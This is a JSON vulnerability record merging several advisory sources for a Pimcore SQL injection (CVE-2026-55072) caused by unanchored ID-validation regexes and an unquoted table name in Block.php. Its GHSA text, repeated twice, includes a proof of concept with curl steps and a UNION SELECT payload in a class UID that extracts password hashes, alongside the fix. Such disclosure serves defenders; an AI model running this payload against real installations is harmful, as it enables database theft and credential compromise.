{"id":"CVE-2026-55072","aliases":["EUVD-2026-77635","GHSA-2mhj-fhvg-v428"],"status":"published","title":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.","severity":{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00409,"percentile":0.35505,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-89"],"published":"2026-08-13T13:44:24Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"Packagist","package":"pimcore/pimcore","fixed_in":["2026.1.5","12.3.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"last_affected":"2026.1.4"},{"fixed":"2026.1.5"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.9"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.5"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4"]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.9"}]}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6","v12.3.7","v12.3.8","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"]}],"products":[{"vendor":"pimcore","product":"pimcore"}],"references":[{"url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-2mhj-fhvg-v428","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/pimcore/pimcore/pull/19177","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pimcore/pimcore/releases/tag/v2026.1.5","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-2mhj-fhvg-v428"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55072.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55072","tags":["advisory"]},{"url":"https://github.com/pimcore/pimcore","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55072","title":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.","status":"published","published":"2026-09-14T16:50:27.483Z","modified":"2026-09-14T17:17:58.863Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-89"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-77635","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.","status":"published","published":"2026-09-14T16:50:27Z","modified":"2026-09-14T17:17:58Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:20.0825Z"}],"ghsa":[{"id":"GHSA-2mhj-fhvg-v428","title":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","description":"### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\n    throw new Exception(sprintf('Invalid name for class definition: %s', $this-\u003egetName()));\n}\n\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this-\u003egetId(), $this-\u003egetName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w*$/', $key)) {   // has $ — correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = 'select ' . $db-\u003equoteIdentifier($field) . ' from object_store_' . $object-\u003egetClassId() . ' where oo_id  = ' . $object-\u003egetId();\n```\n\n`$object-\u003egetClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = 'object_store_' . $this-\u003emodel-\u003egetId();\n$qObjectDatastoreTable = $this-\u003edb-\u003equoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 — Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"lowpriv\",\"password\":\"password\"}'\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 — Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}'\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));\n// int(1) — PASSES, no exception thrown\n\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));\n// int(0) — BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 — Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 — Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}'\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 — Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception — the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n\n// After (correct)\nif (!preg_match('/^[a-zA-Z]\\w+$/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this-\u003egetId())) {\n```\n\nAdditionally, wrap `$object-\u003egetClassId()` in `$db-\u003equoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.","status":"published","published":"2026-08-13T13:44:24Z","modified":"2026-08-13T13:44:24Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-20","CWE-89"],"updated_at":"2026-11-02T14:41:00.097339Z"}],"nvd":[{"id":"CVE-2026-55072","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.","status":"published","published":"2026-09-14T17:17:47.61Z","modified":"2026-09-16T13:42:48.283Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-89"],"updated_at":"2026-11-02T14:12:46.980627Z"}],"osv":[{"id":"CVE-2026-55072","title":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.","status":"published","published":"2026-09-14T16:50:27.483Z","modified":"2026-10-28T02:31:02.566241242Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-20","CWE-89"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-2mhj-fhvg-v428","title":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","description":"### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\n    throw new Exception(sprintf('Invalid name for class definition: %s', $this-\u003egetName()));\n}\n\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this-\u003egetId(), $this-\u003egetName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w*$/', $key)) {   // has $ — correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = 'select ' . $db-\u003equoteIdentifier($field) . ' from object_store_' . $object-\u003egetClassId() . ' where oo_id  = ' . $object-\u003egetId();\n```\n\n`$object-\u003egetClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = 'object_store_' . $this-\u003emodel-\u003egetId();\n$qObjectDatastoreTable = $this-\u003edb-\u003equoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 — Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"lowpriv\",\"password\":\"password\"}'\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 — Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}'\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));\n// int(1) — PASSES, no exception thrown\n\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));\n// int(0) — BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 — Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 — Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}'\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 — Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception — the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match('/^[a-zA-Z]\\w+/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this-\u003egetId())) {\n\n// After (correct)\nif (!preg_match('/^[a-zA-Z]\\w+$/', $this-\u003egetName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this-\u003egetId())) {\n```\n\nAdditionally, wrap `$object-\u003egetClassId()` in `$db-\u003equoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.","status":"published","published":"2026-08-13T13:44:24Z","modified":"2026-08-13T14:10:58.634872Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-20","CWE-89"],"updated_at":"2026-11-02T15:46:34.700741Z"}]}}